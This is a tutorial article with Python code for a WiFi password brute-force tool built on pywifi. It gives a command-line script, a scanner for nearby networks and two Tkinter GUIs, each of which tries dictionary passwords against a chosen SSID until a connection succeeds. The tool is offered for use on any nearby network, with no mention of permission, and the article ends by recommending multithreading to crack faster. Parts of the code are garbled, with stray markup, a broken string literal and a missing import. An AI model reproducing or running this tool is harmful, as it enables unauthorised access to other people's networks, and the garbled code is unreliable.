Python Scripts for WiFi Password Brute‑Force Cracking – Command‑Line and Tkinter GUI Implementations

The article introduces a step‑by‑step guide for creating a WiFi password cracking tool in Python. It begins with a pure command‑line script that imports pywifi, defines wifiConnect(pwd) to attempt a connection, reads passwords from pwd.txt, and reports success or failure.

import pywifi</code>
<code>from pywifi import const</code>
<code>import time</code>
<code>import datetime</code>
<code># Test connection, return result</code>
<code>def wifiConnect(pwd):</code>
<code>    wifi = pywifi.PyWiFi()</code>
<code>    ifaces = wifi.interfaces()[0]</code>
<code>    ifaces.disconnect()</code>
<code>    time.sleep(1)</code>
<code>    wifistatus = ifaces.status()</code>
<code>    if wifistatus == const.IFACE_DISCONNECTED:</code>
<code>        profile = pywifi.Profile()</code>
<code>        profile.ssid = "Tr0e"</code>
<code>        profile.auth = const.AUTH_ALG_OPEN</code>
<code>        profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code>        profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code>        profile.key = pwd</code>
<code>        ifaces.remove_all_network_profiles()</code>
<code>        tep_profile = ifaces.add_network_profile(profile)</code>
<code>        ifaces.connect(tep_profile)</code>
<code>        time.sleep(2)</code>
<code>        if ifaces.status() == const.IFACE_CONNECTED:</code>
<code>            return True</code>
<code>        else:</code>
<code>            return False</code>
<code>    else:</code>
<code>        print("已有wifi连接")</code>
<code># Read password dictionary</code>
<code>def readPassword():</code>
<code>    success = False</code>
<code>    print("****************** WIFI破解 ******************")</code>
<code>    path = "pwd.txt"</code>
<code>    file = open(path, "r")</code>
<code>    start = datetime.datetime.now()</code>
<code>    while True:</code>
<code>        try:</code>
<code>            pwd = file.readline().strip('
')</code>
<code>            bool = wifiConnect(pwd)</code>
<code>            if bool:</code>
<code>                print("[*] 密码已破解：", pwd)</code>
<code>                print("[*] WiFi已自动连接！！！")</code>
<code>                success = True</code>
<code>                break</code>
<code>            else:</code>
<code>                print("正在破解 SSID 为 %s 的 WIFI密码，当前校验的密码为：%s" % ("Tr0e", pwd))</code>
<code>        except:</code>
<code>            continue</code>
<code>    end = datetime.datetime.now()</code>
<code>    if(success):</code>
<code>        print("[*] 本次破解WIFI密码一共用了多长时间：{}".format(end - start))</code>
<code>    else:</code>
<code>        print("[*] 很遗憾未能帮你破解出当前指定WIFI的密码，请更换密码字典后重新尝试！")</code>
<code>    exit(0)</code>
<code>if __name__=="__main__":</code>
<code>    readPassword()

After presenting the basic script, the article adds an optimized version that first scans nearby WiFi networks, displays them sorted by signal strength, and lets the user choose a target SSID. The scanning function wifi_scan() uses interface.scan() and processes scan_results() to build a sorted list.

import pywifi</code>
<code>import time</code>
<code>from pywifi import const</code>
<code># WiFi scanning module</code>
<code>def wifi_scan():</code>
<code>    wifi = pywifi.PyWiFi()</code>
<code>    interface = wifi.interfaces()[0]</code>
<code>    interface.scan()</code>
<code>    for i in range(4):</code>
<code>        time.sleep(1)</code>
<code>        print('\r扫描可用 WiFi 中，请稍后。。。（' + str(3 - i), end='）')</code>
<code>    print('\r扫描完成！
' + '-' * 38)</code>
<code>    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))</code>
<code>    bss = interface.scan_results()</code>
<code>    wifi_name_set = set()</code>
<code>    for w in bss:</code>
<code>        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))</code>
<code>        wifi_name_set.add(wifi_name_and_signal)</code>
<code>    wifi_name_list = sorted(list(wifi_name_set), key=lambda a: a[0], reverse=True)</code>
<code>    num = 0</code>
<code>    while num < len(wifi_name_list):</code>
<code>        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))</code>
<code>        num += 1</code>
<code>    print('-' * 38)</code>
<code>    return wifi_name_list

The cracking logic is then wrapped in wifi_password_crack(wifi_name), which reads a user‑specified dictionary, creates a profile for each password, attempts a connection, and stops as soon as the interface reports a successful connection.

To make the tool more user‑friendly, the article provides two graphical interfaces built with Tkinter.

Simple Tkinter UI

from tkinter import *</code>
<code>from pywifi import const</code>
<code>import pywifi, time</code>
<code># Core connection function</code>
<code>def wificonnect(str, wifiname):</code>
<code>    wifi = pywifi.PyWiFi()</code>
<code>    ifaces = wifi.interfaces()[0]</code>
<code>    ifaces.disconnect()</code>
<code>    time.sleep(1)</code>
<code>    if ifaces.status() == const.IFACE_DISCONNECTED:</code>
<code>        profile = pywifi.Profile()</code>
<code>        profile.ssid = wifiname</code>
<code>        profile.akm.append(const.AKM_TYPE_WPA2PSK)</code>
<code>        profile.key = str</code>
<code>        profile.auth = const.AUTH_ALG_OPEN</code>
<code>        profile.cipher = const.CIPHER_TYPE_CCMP</code>
<code>        ifaces.remove_all_network_profiles()</code>
<code>        tep_profile = ifaces.add_network_profile(profile)</code>
<code>        ifaces.connect(tep_profile)</code>
<code>        time.sleep(3)</code>
<code>        return ifaces.status() == const.IFACE_CONNECTED</code>
<code>    else:</code>
<code>        return False</code>
<code># Read passwords and update UI</code>
<code>def readPwd():</code>
<code>    wifiname = entry.get().strip()</code>
<code>    file = open(r'./pwd.txt', 'r')</code>
<code>    while True:</code>
<code>        try:</code>
<code>            mystr = file.readline().strip()</code>
<code>            bool = wificonnect(mystr, wifiname)</code>
<code>            if bool:</code>
<code>                text.insert(END, '密码正确' + mystr)</code>
<code>                file.close(); break</code>
<code>            else:</code>
<code>                text.insert(END, '密码错误' + mystr)</code>
<code>        except:</code>
<code>            continue</code>
<code># Build window</code>
<code>root = Tk()</code>
<code>root.title('wifi破解')</code>
<code>root.geometry('500x400')</code>
<code>label = Label(root, text='输入要破解的WIFI名称：')</code>
<code>label.grid()</code>
<code>entry = Entry(root, font=('微软雅黑', 14))</code>
<code>entry.grid(row=0, column=1)</code>
<code>text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)</code>
<code>text.grid(row=1, columnspan=2)</code>
<code>button = Button(root, text='开始破解', width=20, height=2, command=readPwd)</code>
<code>button.grid(row=2, columnspan=2)</code>
<code>root.mainloop()

Upgraded Tkinter UI with Treeview

<code>from tkinter import *</code>
<code>from tkinter import ttk</code>
<code>import pywifi, tkinter.filedialog, tkinter.messagebox</code>
<code>from pywifi import const</code>
<code>class MY_GUI():</code>
<code>    def __init__(self, init_window_name):</code>
<code>        self.init_window_name = init_window_name</code>
<code>        self.get_value = StringVar()</code>
<code>        self.get_wifi_value = StringVar()</code>
<code>        self.get_wifimm_value = StringVar()</code>
<code>        self.wifi = pywifi.PyWiFi()</code>
<code>        self.iface = self.wifi.interfaces()[0]</code>
<code>        self.iface.disconnect()</code>
<code>        time.sleep(1)</code>
<code>    def set_init_window(self):</code>
<code>        self.init_window_name.title("WIFI破解工具")</code>
<code>        self.init_window_name.geometry('+500+200')</code>
<code>        labelframe = LabelFrame(width=400, height=200, text="配置")</code>
<code>        labelframe.grid(column=0, row=0, padx=10, pady=10)</code>
<code>        Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)</code>
<code>        Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)</code>
<code>        # ... (other widgets for path, SSID, password) ...</code>
<code>        self.wifi_labelframe = LabelFrame(text="wifi列表")
<code>        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
<code>        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a","b","c","d"))
<code>        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
<code>        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
<code>        self.wifi_tree.column("a", width=50, anchor="center")
<code>        self.wifi_tree.column("b", width=100, anchor="center")
<code>        self.wifi_tree.column("c", width=100, anchor="center")
<code>        self.wifi_tree.column("d", width=100, anchor="center")
<code>        self.wifi_tree.heading("a", text="WiFiID")
<code>        self.wifi_tree.heading("b", text="SSID")
<code>        self.wifi_tree.heading("c", text="BSSID")
<code>        self.wifi_tree.heading("d", text="signal")
<code>        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
<code>        self.wifi_tree.bind("<Double-1>", self.onDBClick)
<code>        self.vbar.grid(row=4, column=1, sticky=NS)
<code>    def scans_wifi_list(self):
<code>        print("^_^ 开始扫描附近wifi...")
<code>        self.iface.scan()
<code>        time.sleep(15)
<code>        scanres = self.iface.scan_results()
<code>        self.show_scans_wifi_list(scanres)
<code>        return scanres
<code>    def show_scans_wifi_list(self, scans_res):
<code>        for index, wifi_info in enumerate(scans_res):
<code>            self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
<code>    def add_mm_file(self):
<code>        self.filename = tkinter.filedialog.askopenfilename()
<code>        self.get_value.set(self.filename)
<code>    def onDBClick(self, event):
<code>        self.sels = event.widget.selection()
<code>        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
<code>    def readPassWord(self):
<code>        pwdfilehander = open(self.get_value.get(), "r", errors="ignore")
<code>        while True:
<code>            try:
<code>                self.pwdStr = pwdfilehander.readline()
<code>                if not self.pwdStr: break
<code>                self.bool1 = self.connect(self.pwdStr, self.get_wifi_value.get())
<code>                if self.bool1:
<code>                    tkinter.messagebox.showinfo('提示', '破解成功！！！')
<code>                    break
<code>                else:
<code>                    print("[*] 密码错误！wifi名:%s，匹配密码：%s" % (self.get_wifi_value.get(), self.pwdStr))
<code>                time.sleep(3)
<code>            except:
<code>                continue
<code>    def connect(self, pwd_Str, wifi_ssid):
<code>        self.profile = pywifi.Profile()
<code>        self.profile.ssid = wifi_ssid
<code>        self.profile.auth = const.AUTH_ALG_OPEN
<code>        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
<code>        self.profile.cipher = const.CIPHER_TYPE_CCMP
<code>        self.profile.key = pwd_Str
<code>        self.iface.remove_all_network_profiles()
<code>        self.tmp_profile = self.iface.add_network_profile(self.profile)
<code>        self.iface.connect(self.tmp_profile)
<code>        time.sleep(5)
<code>        isOK = self.iface.status() == const.IFACE_CONNECTED
<code>        self.iface.disconnect()
<code>        time.sleep(1)
<code>        assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
<code>        return isOK
<code>def gui_start():
<code>    init_window = Tk()
<code>    ui = MY_GUI(init_window)
<code>    ui.set_init_window()
<code>    init_window.mainloop()
<code>if __name__ == "__main__":
<code>    gui_start()

The concluding section notes that both scripts lack multithreading, which would reduce the waiting time caused by the 3‑5 second WiFi connection attempts, and suggests that adding threads is a practical improvement.